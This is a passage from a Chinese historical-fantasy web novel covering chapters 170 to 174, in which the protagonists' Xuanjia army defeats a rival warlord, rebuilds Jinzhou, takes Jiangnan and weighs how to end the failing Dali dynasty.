蒲方成一听主公不打算招安,便也歇了心思,其实仔细想想也正常,瞧瞧两位主公在治下的雷霆手段,凡有作奸犯科者,都是追本溯源给拉去做苦工了,手上沾血沾多了的,还要砍头示众。 从昌州起到如今锦州,治下从没乱过,全靠主公们行事得民心,琼字军在江南没少干烧杀抢掠的事,当初昌州接容江南过来的流民,不就是被琼字军逼的活不下去的江南百姓。 这等人与主公不是同路人,只怕孟虎生真心想投靠,主公也是要杀了他告慰江南死去百姓的。 “琼字军如今还在城外驻扎?”樊泊想早些解决这个大麻烦,好将锦州收拾出来,以迎两位主公入驻,若非是别主公身子弱,尚主公哪会先一步过来收拾。 “已经退兵五十里开外,昨夜攻城失利,今日白日援军又抵达锦州城,琼字军多半是要退兵。”孟虎生昨日攻的这样急,不就是怕玄甲军的援军过来,如今援军已到,还是樊将军领兵,孟虎生还想活命只有逃跑的份。 樊泊皱眉,孟虎生此人行事狠厉,千里迢迢从江南赶来,转头还没打起来就灰溜溜回去,不说士气,单是一点好处都没拿到,岂是那么容易甘心的。 “城外百姓呢?”尚柒也想到了这一点。 “村中百姓大部分得知咱们入城的时候就逃去山里了,不过几日过去或许有下山的百姓,主公是疑心琼字军占不了锦州城的便宜,会转头抢劫附近村子?”蒲方成也不是真的脑子笨,被主公一提醒,也认为不是不可能,村中百姓别的东西没有,粮食肯定是有的。 “不是可能,是一定,就是不抢锦州的村子,回去的路上也会挑趁手的城池村落抢劫。”不然孟虎生能白跑一趟吗? 蒲方成摸不准主公是什么意思?他们的军队目前只在锦州驻扎,更远的中原腹地暂时过不去,便是孟虎生抢劫他们也无计可施。 “樊泊,你指挥将士上阵和琼字军对垒,我要他们损失惨重,并派遣兵马一路穷追到江南地界再返回。” 樊泊点头应了,此战他们必胜,但主公要大胜,他也能做到,孟虎生若是想安全回到江南,只能一路马不停蹄的赶路。 “主公放心,末将定不负使命。”樊泊说罢就领兵往城门去,蒲方成眼巴巴的瞅着,他也想跟去混个功劳,尚柒这头没什么要事,挥手让蒲方成跟去,自个儿准备在城中走走。 …… 西北。 “公子,西北瞧着真是荒凉。”琴砚掀开车帘,瞧着西北之地,西北地大,但多荒漠,若非是前朝西胡来的商人走通两地的商路,只怕比现在还要荒凉。 别此云也透过车窗看向西北之地,此地说要紧也要紧,说不要紧也不要紧,像大历先前因为天花之乱,长安萧条后,西胡过来做生意的商人就少了不少。 但因为玄甲军这里出了不少好东西,运送到西北买卖后,也遇上过来做生意的胡商,因为玄甲军治下好东西不少,胡人也感兴趣纷纷出钱买卖,于是在西北也支起了一个胡汉市场。 在西北,这样的地方从前也有,但更多胡人还是只在此地中专,有心要做生意去长安,现在和玄甲军也能做生意,西北就成了他们新生意的据点,想来如今长安的胡商肯定也少了不少。 “也不知锦州如何了?”别此云满目担忧,尚柒和樊泊去锦州城支援,虽知尚柒有一身好武艺,也不会轻易上战场,但战事瞬移万变,他们占据地势人和,就怕天时不够。 “公子且放心,姑爷本事有目共睹,而且姑爷向来不做没把握的事,临行前,姑爷还说要公子安心到西北,等西北事了就可直接去锦州城安顿。”琴砚跟在别此云身边数年,公子和姑爷成亲也有好几年了,算是了解二人颇多。 不说远了,姑爷从说要跟公子干大事起,许诺公子的几乎都实现了。 别此云闻言略略放心,尚柒非是那等莽撞之人,就像此行,知道战场危险非要等锦州城安顿好,再让他过去,若非是西北的确需要他们二人来一人理事,他必然是要跟尚柒一块去锦州城的。 西北这里,自从几州刺史有意归顺,玄甲军派遣人手过来接应,也过去些时候了,因为玄甲军主力还是要开拓中原之地,西北这头派遣了人来,虽也是从西南治下出的能臣,但一时半刻是赶不上西南政策的。 等锦州拿下,玄甲军会暂停扩张地盘,方才有喘息的机会细细梳理西北,别此云这次过来,一是为了探查西北情况,看是否有什么治理方案需要因地制宜调整,二是看是否有人阳奉阴违,名义上投诚实则还在干两头讨好之事。 随他到西北的军队也都是个中好手,堂兄也领命过来护他安全,一行人在西北官道行走,莫说什么不长眼的家伙,就是真遇上绿林土匪也只有抱头鼠窜的份。 “西北马匪一惯张狂,玄甲军先前到西北做生意的商队都被抢过几次,亏得商队里的汉子都是公子养的个中好手,不然人都要搭进去。”琴砚与书墨一内一外替别此云管理生意上的事,商队一路遇上什么了解的再清楚不过。 “许多马匪都是祖传生意,于西北是根深蒂固的势力,和世家门阀唯一的差距就是世家门阀要脸面,而马匪行事随心所欲,想要根除并不容易。”不然这次他也不会在锦州战事紧急的时候,还让堂兄带兵和他走一趟西北。 玄甲军要想一统西北,马匪之患务必全全消除。 别景和骑在马上,目光警惕看向四周,虽然他这支军队人多,有脑子没脑子的马匪都不该撞上来送死,但除去马匪还有想要行刺之人。 此云和尚柒扬名天下后,几乎成了世家大族眼里的毒瘤,地方豪强也恨之入骨,盖因玄甲军夺了他们赖以生存的土地。 在西南的时候,就有不少人收钱想要行凶,但盘州治安极好,莫说靠近两位主公,就是能进盘州城都算他有本事。 可随着地盘扩张,人手不够的问题就显现出来,亏得两位主公离开盘州都是秘密行动,未曾叫外人察觉,不然怕是已经有人冒头行刺。 这次西北之行,因为带了兵马,更是引人注目,若有人想要行刺必不会放过这个机会,他可不能叫这些人得逞。 玄甲军大业刚至三分之一,还有三分之二的骨头没啃下来,两位主公可不能出事,不然新人上位,未必能有两位主公的雄韬大略。 此云和尚柒可是要一改千年未变之格局。《 》 170-173 第171章 “败了?”新帝收到锦州城一战的战报, 惊讶的站起来,朝廷眼下还没和玄甲军动过手,知道琼字军打算去寻玄甲军的麻烦, 新帝还大开门路,就等着这两支乱军相互厮杀,他好坐收渔翁之利, 不想琼字军才到锦州城驻扎多久, 竟大败而归。 “陛下, 不光败了, 还被打一路打回江南, 咱们是否要乘胜追击。”趁他病要他命, 孟虎生一战损兵折将,江南腹地恐怕要再生乱事,这正是朝廷的机会。 “朕倒是想出兵, 你去看看满朝文武哪个愿意出钱办事?”新帝也非是不知道这是个好机会, 但他要能调的动兵遣的了将才行,上次和琼字军一战,朝廷打败, 伤了元气,国库因为各地税收也收不上来,一直空虚着, 当初出兵要不是逼着世家好歹添补了点银两进去,只怕也是不成的。 “可若是错过这个机会, 叫琼字军恢复过来,对咱们来说更非好事,且这琼字军背后曾经有几个大世家的手笔,如今琼字军自立门户想来也惹恼了几个大世家, 结了仇怨,不若想法子要他们狗咬狗,相互消磨。” 新帝听了,眼睛一亮,这倒是个主意,世家大族是不肯吃亏的,虽知道琼字军早先是大世家手笔的人不多,但京中有门路的人也不少,几个大世家想要谋他的皇位,结果反而偷鸡不成蚀把米,可是叫他大快人心。 这会子琼字军有难,大世家必然会趁机要他命。 只是琼字军有人对付,已经离中原腹地不算远的玄甲军又要如何应对。 玄甲军比琼字军起家早,虽在西南驻扎,且扩张地盘极为缓慢,但说实话,这种稳扎稳打不出乱子的玄甲军反而叫人忌惮。 朝廷已经打不过琼字军了,现在玄甲军却把琼字军打的节节败退,朝廷的兵马又如何能够打过玄甲军。 “金公公,你说这大历的江山是不是要到头了。”自古国祚能过两百的王朝几乎都在走下坡路,大历到他父皇手里,已经只有表面功夫,当年要是父皇不执意攻打突厥,或许大历还能拖延几十年,但没有当初那场天花,他也上不了位。 时也命也。 “陛下哪里的话,眼下朝中文武百官非是酒囊饭袋,只是大家伙都离了心,若陛下能够叫他们上下一心,把劲使在一块,大历必能再次昌盛。”金公公伺候过广运帝,现在伺候广运帝的儿子,跟在皇帝身边效力的人早知道什么话该说什么话不该说。 事实真相其实已经摆在面前,大历江山不复存在不过早晚几年的事,但这话万不能从他嘴里说出去,当皇帝的最喜喜怒无常,叫人捉摸不透心思,上一刻还跟人亲近,下一个要拉人去砍头也是常有的。 “使在一块。”新帝露出嘲讽的笑意,或许叫满朝文武都投奔玄甲军还能看到大家伙都把劲使在一块,想要这群贪生怕死之辈联合保大历江山痴人说梦。 只是玄甲军也不是什么好去处,至少不容世家门阀继续动作,失去了土地,也失去了话语权,这些百年世家又有什么本事在玄甲军站稳脚跟,只怕迟早是要再冒出一支对付玄甲军的乱军。 新帝长舒一口气,乱了也好,总归玄甲军真打过来,也不会要他性命,自古改朝换代,都要善待从前的帝王,只是体会过大权在握的滋味,他当真能够甘心在玄甲军治下当个被监视的闲散人吗? …… 锦州城。 琼字军被打退是在意料之中,蒲方成带兵一路追人去江南,小几日不能返回,但有樊泊坐镇,锦州城可以说是固若金汤。 且锦州是接下来玄甲军发展的重点,刚稳定下来,自西南而来的人手就开始接手整个锦州。 潘标也算是熬出头了,连师爷如今步步高升,前头西北归入玄甲军,被派去西北耕作,依他看,若能将西北之地治理好,等长安被拿下,必然是要升入中央的。 而他么,本事不算差,只是脾气太硬,好在玄甲军这里办事看本事,也没什么需要他同流合污之事,也混到了来锦州当官的机会。 从前西南,盘州可以说是玄甲军天子脚下,这会到了中原,锦州更是重中之重,此次能够到锦州做事的官员,都没什么新手,大部分都是在西南的能人,可见诸公们对锦州的看重。 虽眼下看似天下三分,但真论国土,肯定还是他们玄甲军占据的地盘大,只是人口还比不上江南和中原腹地,到底历朝历代都是中原腹地为中心,像玄甲军从西南打去中原的少之又少。 “锦州城的百姓瞧着像是被吓怕了。”过来统计锦州城黄册的小吏同同伴搭话。 “接连打了两场仗,虽琼字军不成攻破城门,但日夜提心吊胆也够他们受的了。”打仗是要死人的,虽说这年头死人不是什么新鲜事。 想想他们玄甲军治下,也是粮食产量跟上,棉花产量跟上,才没死多少人,不然光是饿死冻死的人家,一年也能堆积成山。 尚柒在城中走动,街上还寂寥的很,只零星几家店铺大着胆子开门,但也没人去买东西,店家也都瑟缩在铺子里,见着路过巡逻的兵士或前来登记的小吏,都做主了点头哈腰的做派。 要说拿下的城池了,其实玄甲军对锦州的影响不大,主要是当初玄甲军扬名主要在昌州以及附近的州府,而打仗是一鼓作气打到锦州的,锦州稍微偏远些的百姓不知道玄甲军的名声也是有可能的。 好在玄甲军有多次治理的经验,对于这样的不知玄甲军底细的地方,西南可没少见,只要这些百姓规规矩矩按照他们的要求办事,一个月就能彻底稳定下来,并要他们彻底归心玄甲军的。 最要紧的肯定还是一车车粮食,城中这些日子,因为玄甲军和琼字军,好些百姓家里都没了余粮,而粮铺也没能进粮食,库里的一点余粮都卖的高价,中等人家还能咬咬牙吃得起,那些只靠些小伙计的过活的人家,就只能一日粗粮,一日水的过日子。 尚柒过来,除了带军队,就是带粮食补给,玄甲军治下的米价一向走低,比的从前锦州城的粮铺还要便宜。 这不粮食刚在官府盘出来无人认领的铺子上架,就有人按捺不住过来打听价格,不怪他们胆大,实在是那一框框细米就这样摆在门口,上插了牌子,大部分人虽然不识字,但锦州城总能找到识字的读书人,一问,听闻粮食这么便宜,再惶恐也比饿死要强。 最后还要兵丁过来维护秩序,以防抢购的百姓过多,造成踩踏事故。 “村里的人都下山了吗?”人不能光靠粮食生活,还得吃肉,吃菜,肉和菜都要从乡下购买,且附近几个州也才打下来没多久,还没来得及大面积养殖,送不了肉来。 “大部分都下山了,虽说深山能藏人,但不好种粮食。” 这话不错,这年头想要开垦新田可不容易,荒田开出来头几年还要养田,不然收成比不上寻常田地,这个时节地里还有东西没收,若是放弃了可是一大家子要命的事。 “尽快恢复市场,城里太荒凉了也不好。”锦州城一时半刻肯定赶不上盘州城热闹,但若是冷清的一点人烟没有,也不好。 “是,主公。” 尚柒又往前走,瞧着义诊的大夫们正在搭摊子,玄甲军总是占据一座城池后,会连开半月义诊,既是给百姓提供一个玄甲军的正面形象,也是锻炼这些初出茅庐的学徒。 比起在盘州,收拢的大夫只有寥寥几十人,如今学医的人可算是挤满了私塾,只是学医也要天分,再一个需要实践。 大部分打好基础的学徒就会跟老大夫们去各地义诊,从前一个小县城,养两三家医馆已经不得了了,现在在盘州城的医院,每日都是人满为患,大夫人手还是不够用。 药材便宜了,百姓手里有些钱了,只要不是疑难杂症,能看病的总是要来看,乌桕打算在西南其余三州也开设新医院,日后玄甲军治下,不说每个县城都有如盘州那样的医院,至少每个州府城池得有一个。 一般县城规模不必如州府城池的大,主要还是能上任的大夫不多。 最早一批学有所成的大夫,都是从前开医馆的,大部分年纪大了,不能说医术有多好,至少经验比寻常学徒要高,可惜也是因为年纪大了,体力不比年轻人好,但这些大夫倒是一个个肯熬,毕竟活到中老年,突然得医学神书,如何不能叫人废寝忘食。 唯一可惜的就是主公志在天下,不然仅凭那一手医术也能在当世留个药王的名声,对此尚柒只抽搐了一下嘴角,他不过是拾前人牙慧,真要是叫从前学医的亲人听到这些人给他的称呼,估计气都要不顺了。 走完锦州城主街,尚柒转头回衙门准备开始处理公务,顺道给此云写封信,他们好久没有分开这么远了,不知此云能不能适应西北的风沙。 第172章 琼字军被玄甲军一路赶回江南, 将军孟虎生亦是被打的灰头土脸,他与朝廷大战大获全胜,本以为蜗居西南的乱军不过尔尔, 结果确实错把猛虎当山猫,吃了个大亏。 若非江南富庶,只怕这回再难东山再起, 而且他战败的消息必会传回长安, 若是大历皇帝突然起了心思再攻江南, 他不见得能敌。 一步错, 步步错, 但孟虎生是能在世家嘴里夺食的人, 绝不会被玄甲军轻易吓怕,眼下他需要蛰伏,只等来日兵强马壮, 玄甲军想来攻打江南, 再说报仇之事。 蒲方成完成任务鸣金收兵,若非是主公还没计划吞吃江南,他几乎都想试试能不能拿下江南献给主公, 不过不出兵打江南也没事,只要将琼字军被玄甲军打的抱头鼠窜的消息宣扬出去,只怕琼字军好一阵都要面上无光了。 回程的路上, 没了追击目标,蒲方成便不在快马加鞭的撵人, 行军速度慢下来,沿道能传播的消息就很广了,如今天下有识之士都是晓得有玄甲军这方势力,只是玄甲军一直地处西南, 近些年才慢慢往北发展,百姓对玄甲军的认知还极少。 蒲方成一路可是把玄甲军的威风展现了个遍,就凭他们玄甲军所过之处不伤百姓就足够在百姓口中颇得美名。 更不提,他们沿途回来,有时候粮草不够,都是拿钱给周围乡亲换肉换菜,从不吃白食,如何不叫百姓喜欢。 历来兵贼所过之处,看上什么都是直接强抢,什么时候给钱了,甚至有些穷的什么都掏不出的村子,他们还给留点米粮,玄甲军不缺粮食,只是肉菜之类的粮草可没法和米粮一样好携带。 于是还不等玄甲军打去中原,中原的百姓们倒是先留了个玄甲军的好印象,蒲方成路上还遇着不少家里穷的裤子都穿不起的汉子想要入玄甲军。 若换成其他军队,有个青壮愿意入伍,再欢迎不过,偏他们玄甲军待遇是顶顶好,想要入伍不过考核是不成的,不过这些汉子虽暂时入不了伍,但也算劳力,蒲方成都给一锅端走,他们玄甲军治下缺人的厉害。 别看锦州城打下来,但先前跑的跑逃的逃,锦州城内的百姓早不如从前多,当然主两位主公暂时将大本营定到锦州,原本盘州的摊子也得慢慢转移到锦州,可大部分盘州百姓也不可能跟着主公一块到锦州安家落户。 真要背井离乡,不如等主公们一举夺下长安,到天子脚下住着,不比在锦州舒坦,依这回和琼字军打仗的经验,蒲方成已经知道除非老天爷看不惯,降下天罚,不然他们玄甲军必是战无不胜攻无不克的。 打下长安也就是这三年的事,之后多半要停息两年接管大历整个国土,好在三年时间,足够如今的治下培养些人才管理中原之地,等中原妥当了,主公必是要剑指突厥,其余周边国土日后也会收归己有。 从前广运帝没办到开疆拓土的事,换作两位主公,必然是能成的,唯一有些可惜的,就是两位主公至今没个孩子,叫不少人都心里隐隐不安,毕竟江山后继无人也是件忧心事,但两位主公不闻不问,反而伉俪情深的很。 叫他们这些做手下的干着急。 …… 锦州城衙门。 尚柒看着挂在墙上的大历舆图,如今大历国土比不得他所处的国土,但在封建王朝中也算不错的了。 毕竟封建时代通讯有限,疆域太大中央的掌控力也实在有限,指不定什么时候这些地方就准备揭竿起义,所有时候疆域不是不能往外扩,而是扩大之后没办法管理,也就是表面好看。 “主公,蒲将军带兵回来了。” “请蒲将军过来。”尚柒收敛目光,他现在还没吃下整个大历,考虑更多疆域的确有点为时尚早,只是玄甲军占领地盘这几年他不曾往中原方向去过,都是从探子手里拿到消息,中原和江南的情况到底怎么样,还有些不能确认。 “主公。”蒲方成风尘仆仆的到主公之所,虽一路辛苦,但幸不辱命,也算是在主公面前露脸了,主公将他妻儿老小都从长安接过来,叫他再无后顾之忧,他若是不能报答主公的知遇之恩,岂非是狼心狗肺之辈。 “蒲将军辛苦了,此行去江南,沿道可有什么见闻。”尚柒请人坐下说话,玄甲军不讲究跪拜之礼,就算下面的人见尚柒他们,也都行寻常见面礼就是,起先大家伙还不习惯,但日子久了,跪来跪去也着实麻烦。 玄甲军做事可跟在大历不一样,不少当官的能吃空饷,他们从小吏到官员,个个每日忙的脚不沾地,有时候见面连见面礼都省了,只点个头就当行过礼了,像是别家这等在大历当官当久了,适应了好一阵才跟上玄甲军的节奏。 “主公哪里的话,不过是奉命行事,此前一路过去因为追琼字军追的紧,倒是不曾对周遭情况有什么发现,回程时脚步慢下来,路过停留一些靠近城池村庄之地,倒是发现不少百姓手中都没什么余粮。” 一年到头,百姓最没粮食的时候,就是秋收前,正是青黄不接,玄甲军这次往江南,已经过了秋收的档口,按说百姓,尤其是村里的百姓应该是留够了一年的口粮,但他们去村子里买肉买菜的时候,却发现许多人家吃的都是野菜,碗里连粗粮都不见。 一问,说是朝廷近两年来一直加税,寻常百姓已经要活不下去了。 “秋收后日子尚且如此,也不知道等冬天又是怎样一番难熬的光景。”蒲方成是当兵的,也曾见过地方大旱的模样,可在玄甲军治下生活久了,仿佛百姓能买的起粮食吃已经是常见的事了。 尚柒虽也感到心痛,但这事他早有预料,朝廷北面因为一场大疫掏空了人口,又失江南和西南,中原之地虽粮食产出不少,但中原百姓人口数量也多,便是中原地里的粮食够每个百姓吃饱,但大部分粮食不还是落入世家豪强之手。 眼瞧着乱世已至,世家豪强们都要囤积粮食抵御风险。 “好在越靠近咱们治下,百姓的日子瞧着越好过些,这次回来,路上还捡了不少吃不起饭的百姓,如今已经安排进城里做事,若能过征兵测试,也能入伍当兵。”蒲方成末了还是给自己贴了点金,毕竟给地方增加人口也是大事。 尚柒被逗笑,这点小心思并不惹人厌烦,他向来赏罚分明,这回蒲方成差事办的好,赏赐肯定也不会差。 送走蒲方成后,尚柒又回到舆图前,好消息是不曾听闻哪里有灾情,坏消息是没有灾情百姓也吃不饱犯。 都说百足之虫死而不僵,大历明明几年前瞧着还有几分模样,几年过去竟被大卸八块也不能反抗,民间百姓都在谣传是大历龙脉断了,国祚将息。 他虽来到异世重活一世,但对这种神神鬼鬼之说并不相信,晋王当初能够坐上皇位,也是有几分手段,可结果瞧着像是捡漏来的。 谢家已经悄摸联系玄甲军,大世家都已经各奔东西,大历气数似乎当真要尽,但这么容易就杀死一个封建王朝,又让尚柒隐隐不安,大历的朝臣当真是一点气节都没有。 “长吁短叹,可是又有什么伤心事了。” 尚柒一时想的出神,竟没发觉背后有人靠近,听得声音,更是他朝思暮想之人。 “此云。”尚柒转身,就见人已经离他不过半尺,面容上的疲惫也难以遮掩,可见一路辛苦,“如何不早送消息给我,我好去城外接你。” 别此云安心的被尚柒抱在怀里,西北一行还算顺利,自知道锦州被拿下后,特也迫不及待到锦州见尚柒,为此路程赶的急了些,也特意嘱咐了人不许告诉尚柒他们多久抵达,就想着给尚柒一个惊喜。 “方才愁眉苦脸,可是发生了什么事。”别此云感受够了安心的气息,低声询问。 “不过是想朝廷死的太快,原以为咱们最终是要和朝廷对上,结果发现琼字军都要比朝廷靠谱一些。”偌大的王朝跟个草台班子一样,也不知大历开国先祖得知会不会气的在地底下跳脚。 “历史上类人的皇帝也不少,大历皇帝还算正常,若是天下太平,做个守成之君也未尝不可,可偏偏已经王朝末年,若非是天降神人,万事将休。” 比起太子,晋王在别此云眼里都眉清目秀起来,当初要是太子登位,大历朝廷怕是死的更快。 “你我都算是此间天降的神人,再来一个,岂非是要轰炸全世界。”尚柒低笑,好歹眼下没冒出三十六路反王七十二路烟尘,直接从群雄逐鹿变成三足鼎立。 且和玄甲军比起来,另外两条腿还是瘸的,都说世界有优秀的匹配机制,也不知他和此云逐渐的玄甲军是优秀还是不优秀。 “自我你我二人,火力全开,未必不能轰炸全世界,只是地盘打下来没人治也相当于没有。” “那咱们是先打朝廷,还是先打江南。” “若论好打肯定是朝廷好打,只是你我心系海船,先打江南倒是能一口气吃下岭南,海船之事耽误不得。” 再一个,朝廷再烂,好歹秩序还在维持,江南那边孟虎生明显不善文治,好好的江南富地再被他折腾下去,只怕是元气大伤,没个几十年都恢复不过来。 “看来,还要让皇位上那位,继续提心吊胆一段时日了。”尚柒说罢,感受到怀里的人头一点一点的,可见困的厉害。 眼中浮现出心疼,想必此云一路驰骋也没有休息好,何必如此拼命,尚柒想着轻轻将人打横抱起,送去后院休息。 第173章 又三年。 玄甲军一路高歌猛进, 以锦州为据,向江南及岭南地发兵,孟虎生当年起兵靠世家, 后背离世家,攻锦州败给玄甲军后一直在江南休养生息,可惜江南之地百姓被孟虎生及琼字军折腾的不轻, 再不如从前富庶, 孟虎生手中钱财也渐渐耗损。 无文才治国, 终究难长久, 玄甲军进攻之势又异常猛烈, 大军打进琼字军在江南的老家后, 孟虎生带着部分手下南逃,玄甲军下几位将军都想拿孟虎生的人头,偏偏孟虎生狡诈, 入山林地带便不见踪影, 不过琼字军所有地盘都被玄甲军接手,以玄甲军对城镇乃至村落的统治,孟虎生只要下山必会落网。 天下三分之二归玄甲军, 大历目前就落了个正统二字,部分世家弃暗投明,部分世家负隅顽抗, 尚柒和别此云一惯不喜大开大合的杀伐之道,但对铲除世家根基的决心从不曾减少, 每年世家派遣来刺杀他们二人的刺客就数不胜数,只是比起玄甲军的治安,这些刺客多还没入城就被拿下。 最危险的一次倒是被人摸到行踪,尚柒与别此云正在微服出巡, 体察民情,就当街遇上刺客,身边乔装打扮的护卫立刻与刺客打斗,而尚柒习武多年,虽不上战场,私下却也常和军中将军们切磋。 按别此云的话说,这么多年,也算是有个能装的机会,把寻机而来的刺客打成脑震荡。 “果然还是不喜欢杀人。”不能说尚柒手里没沾过人命,做主公的,一声令下间接死在他手里的人都不少,更不提从前在西南做生意,路遇劫匪也成动过手,只是能杀人不代表喜欢杀人。 “还得从他们嘴里审处幕后之人,你若真将人杀了,咱们岂不是连报仇都不知道该向谁举刀?”别此云靠在尚柒怀里安慰人,“近些年,行刺之事比在西南要多多了,可见玄甲军稳步推进,步步紧逼,有些人开始狗急跳墙了。” “世家大族,除开谢家已经明确投靠咱们,其余人多是静观其变,想来还是不能接受玄甲军褫夺他们家财。”这些情况他早有预料,越到紧要关头,这些世家的反扑就越猛烈。 “世家根基难除,历朝历代都想消除世家,但流水的皇帝铁打的世家照样传家千百年,咱们动手就是要人千百年累积,肯答应才是少数。”真能下这个决心的可没几个,毕竟玄甲军名下眼瞧着并没有给世家大族留位置。 “那他们命不错,我记得历史上消除世家靠的是物理消灭,我这都算心善的,给他们留了活路。”若是尚柒和别此云没有培养大批认字的人才,这些世家还真根除不掉,偏偏如今玄甲军治下,多的是识字的百姓,百姓晋升通道一打开,更是一发不可收拾,时下玄甲军治下能才,不知多少出身草根。 从前科举世家寒门录取九比一,如今倒要反过来,如何不叫世家惶恐。 别此云被逗笑,真物理消灭,可是要枉死不少人,他们也不是黑白无常,没有争这个KPI的必要。 “江南和岭南拿下,沿海的布置可以实施,说不得十来年后,咱们的船只就能在海上各地畅游。”出海最重要的还是船只和航海知识,大历沿海做生意的商人不少,因为琼字军苛责,也有不少商人阖家逃走去了别处,一时间想要打海上的主意,没那么简单。 “比起船只咱们还是看看最后一块版图的好。”大历连失大量国土,中原一带早就不太平,若非长安还有禁军把手,只怕早就乱的不像样子。 “我赌最后大历新帝会些禅让诏书,天下人有眼睛的都能看出玄甲军终究取得天下,大历朝廷估计也不想打。”至少皇帝肯定不想打,玄甲军未曾有虐杀的名头,玄甲军治下的百姓也多不畏惧军队,因为玄甲军纪律严明,皇帝不是个有骨气的,大历真的亡了,也不见得会以身殉国,若禅让能活他必是会写的。 “那你说,他要怎么写这禅让诏书,玄甲军的主公可是两个人。”尚柒好像找到了有意思的点。 “说不得那些世家会撺掇他准备两份,没准到时候还想借禅让诏书挑拨你我二人。”如果有人能当皇帝,别说是夫夫,就是父母兄弟都多的是反目成仇,到时候他们一手离间计真要是成了,大抵还指望坐享渔翁之利。 “也是他们不知你我根本没这个打算,皇权复辟,世家也不过是换张皮继续存活于世,不知你我有生之年的能否给世间增添一点不一样的色彩。” “那我们得活长一点,至少在我们治下长大的孩子学的可不是从前那一套,不过说不得你我死后,又有冒出头想当皇帝的,火器若是沦为权利斗争的工具,战争带来的伤痛会更多。” 但火器迟早会现世,他们不做,日后其他国家研究出了厉害的火器,他们就只有挨打的份。 “世道就是如此,重现组建秩序,秩序稳定,秩序崩溃,再重新组建秩序,我们能管好当下事就不错了。”尚柒闭上眼睛,想想一路从西南到江南,他和此云少有休息的时候,他还是喜欢闲云野鹤的日子,只是闲云野鹤的日子不大喜欢他。 “当下的确有一件要事。”别此云何尝不知尚柒疲惫,当初长安一见,尚柒被他拉入一个争斗的漩涡,此生可能都无法再出去,是他的幸运,也是尚柒的不幸。 也不知道尚柒这些年是否有过后悔的时候。 “什么事?”尚柒睁开眼,他记得近来太平无事,甚至中原之外的草原也因为这些年做生意,稳定不少。 等他们拿下中原后,会想办法扩张草原的地盘。 “还记得我曾派遣人手走陆路去其他大陆寻新粮种吗?”刚刚都说了这么多不好的消息,怎么也得有点好消息解解忧。 “人回来了?”尚柒都快算不清是几年的事了,主要是海路不发达,陆路倒是能走,但翻山越岭天寒地冻,说不得什么时候就折损在路上尸骸无存。 当初出发的队伍,他们都是安顿好其家人,叫他们无后顾之忧才放心上路,毕竟一去多年不回,或许就是死在路上,魂归异乡。 “嗯,虽人手折损了不少,但已经返回,正好装上咱们在草原做生意的队伍,便先传了消息回来。”别此云初闻此消息,胸中激动就难以抑制住,这时和尚柒分享,想必尚柒也与一样。 “你说我要是这时候说给他们加官进爵,是不是染上封建皇帝的瘾了。”尚柒开玩笑道。 “他们带回了新粮种,若能在百姓间推广无异于救人无数的功德,加官进爵不过是一种说法,咱们难道不也是有功则赏,有罪则罚吗?” 赏罚分明是律法明文标记的,只是日后玄甲军大抵不会以王侯将相相称,有本事历练几年便可做一些实职,没本事担一些虚职衣食无忧也是可以的。 “追本溯源,的确是这个意思,他们带回来的新粮种有哪些?”拿下江南岭南,代表玄甲军治下的田地又多了不少,而粮食增长能够养活更多的人口,无论什么朝代人口带来的红利都是不可忽视的。 “他们出发前,带了我们手绘的一些粮食图册,但到底不再是咱们的世界,或许能找到相似又不相同的粮种,来信只说他们到了其他州,和当地的土著们进行交流,找到了一些亩产很高的粮种,具体是什么没说。”别此云也迫不及待的想知道。 “看来咱们还要在等等,嗯,还得先开辟试验田,新粮种固然能亩产增高,但也怕水土不服,贸然推广百姓也会排斥。”想当初种棉花可都是费了好大功夫,如今玄甲军治下不缺棉花,都要靠当初尚柒强硬的态度。 但那时候也是棉花的种子已经被驯养成功,不然百姓种棉种不出个所以然,必要是抱怨的。 “这个自然,这次成功咱们往外派遣的人手需要增加更多,毕竟各地生长的种子各有特色,不能只满足这么一点。”别此云已经想好向西在派遣商队,说来胡商这些年和大历做生意,肯定也向西和别的国家做过生意,若有胡商领路,倒能方便不少。 “你想的很长远,那我也只有努力跟上此云的思路。”尚柒幸福的叹了口气,喜欢的人是个工作狂,逼得他这条咸鱼也要努力翻身,不然可就配不上人了。 别此云只轻笑,“时辰还早,今日我们就偷得浮生半日闲怎么样?” “好啊,幸亏这个时代没有太多娱乐项目,不然我们只能在工作闲暇谈恋爱,不能一块出门约会,也太惨了些。”他们现在的身份,别说出门约会,微服私访都要提防有刺客行刺。 “那你惨了,以前我就不是很喜欢出门,可能谈恋爱了也更喜欢宅在家,没事的的时候就想现在这样,两个抱在一块看点东西。”别此云在商场上和人尔虞我诈惯了,私下更喜欢独处不说,对社交也没有太大的欲望。 当初一直没谈恋爱,就是因为宅的不想认识新人。 “那我们可能很有话说,我也不喜欢出门。”咸鱼只喜欢躺平,如果能抱着老婆一块躺平,简直是理想人生。 虽然现在没能做到前者,但做到后者也不错。 只是这话不能叫还在军营训练的樊泊别景和听到,不然就要拉仇恨了。 “咱们真是天生一对。”别此云安静的被人抱在怀里,享受片刻的宁静。 “我应该寻人做一些谷壳沙发,那样躺在会更舒服。”尚柒发出这么多年才醒悟的感言。 别此云闭着眼睛抿唇偷笑,反正他躺在尚柒身上,一点不硌人。《 》 【正文完结】 第174章 随着江南岭南之地也收归玄甲军手中, 大历朝廷彻底奄奄一息,新帝知没有翻身的把握,更是完全放弃励精图治, 整日奢靡享乐。 朝廷更不必提,这些年,多少当官的被拐去玄甲军, 江南被玄甲军攻下后, 谢家更是举家离开长安前往江南, 其余世家皆道谢家好耐心, 投靠玄甲军, 不愿去西南吃苦, 先送自家子嗣在玄甲军任职,等江南之地被攻打下来,转头就屁颠屁颠的跑去投奔。 余下几大世家原本都是坚定的反抗玄甲军, 到底同气连枝, 玄甲军做事损世家根基,偷靠玄甲军无异于自掘坟墓。 谢家没投奔玄甲军前,世家联盟还能稳的住, 谢家一走,中小世家就开始蠢蠢欲动,连谢家这等大世家都愿意抛弃万亩良田手中金银谋生路, 他们苦苦坚持难道就能保住手里那点东西? 甚至大世家也开始动摇,世家内部多是分两派, 一派坚定不与玄甲军同流合污,不然百年世家毁于一旦,一派认为大势所趋,若逆流而上亦没有活路, 不如顺势而为,还能延续家族。 二者你不让我我不让你,族中子弟也都争执不清,像是柳家,本家不在长安,唯柳确携夫郎在长安任职,柳家不如萧崔等世家坚定,谢家一走,也开始筹谋是否要投奔玄甲军。 唯一担心的,不过是当年旧事。 “当年之事,本也没什么,我当初与别此云争吵后,他还愿意在我落水时救我,便不是斤斤计较之辈,若柳叶两家为这点当年旧事迟迟不肯下决定,只怕真入了玄甲军治下,也难搏出个门路。”叶栖嫁柳确这些年,原早都忘了当年长安和别此云的旧事,偏偏家族还记得紧抓着不放。 